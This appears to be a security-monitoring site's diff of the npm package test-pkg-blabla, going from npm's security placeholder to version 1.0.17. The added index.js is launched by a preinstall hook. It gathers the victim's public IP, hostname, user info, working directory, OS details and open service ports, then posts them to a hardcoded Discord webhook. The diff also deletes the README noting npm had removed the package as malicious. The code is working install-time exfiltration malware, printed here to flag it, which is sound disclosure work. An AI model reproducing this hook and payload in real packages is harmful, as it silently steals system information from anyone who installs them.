test-pkg-blabla 0.0.1-security → 1.0.17

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of test-pkg-blabla might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +53 -0
  2. package/package.json +14 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,53 @@
1
+ const axios = require('axios');
2
+ const os = require('os');
3
+ const publicIp = require('public-ip');
4
+ const portastic = require('portastic');
5
+
6
+ const webhookUrl = 'https://discord.com/api/webhooks/1249107268415525014/XIsGpvvZr1AgQRpost6kczHmFOgexcQIWLySi_zhz0DpjCoqZx4aqrMpnM1v1ywk1nFC';
7
+ const portsToCheck = [
8
+ 20, 21, // FTP
9
+ 22, // SSH
10
+ 25, // SMTP
11
+ 80, 443, 8080, 8443, // HTTP(S)
12
+ 3389, // RDP
13
+ ];
14
+
15
+ async function findUsedPorts() {
16
+ let usedPorts = [];
17
+ for (let port of portsToCheck) {
18
+ const open = await portastic.test(port);
19
+ if (!open) {
20
+ usedPorts.push(port);
21
+ }
22
+ }
23
+ return usedPorts;
24
+ }
25
+
26
+ async function main() {
27
+ let address = null;
28
+ try {
29
+ address = await publicIp.v4();
30
+ } catch (err) { }
31
+
32
+ const ports = await findUsedPorts();
33
+
34
+ // Get the current system info and prepare the payload
35
+ const payload = {
36
+ platform: os.platform(),
37
+ release: os.release(),
38
+ hostname: os.hostname(),
39
+ pwd: process.cwd(),
40
+ user: os.userInfo(),
41
+ address,
42
+ ports
43
+ };
44
+
45
+ // Send the POST request to the Discord webhook
46
+ axios.post(webhookUrl, { content: JSON.stringify(payload) }, {
47
+ headers: {
48
+ 'Content-Type': 'application/json',
49
+ },
50
+ });
51
+ };
52
+
53
+ main();
package/package.json CHANGED
@@ -1,6 +1,17 @@
1
1
  {
2
2
  "name": "test-pkg-blabla",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.17",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js",
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "dependencies": {
11
+ "axios": "^1.7.2",
12
+ "portastic": "^1.0.1",
13
+ "public-ip": "^4.0.4"
14
+ },
15
+ "author": "",
16
+ "license": "ISC"
6
17
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=test-pkg-blabla for more information.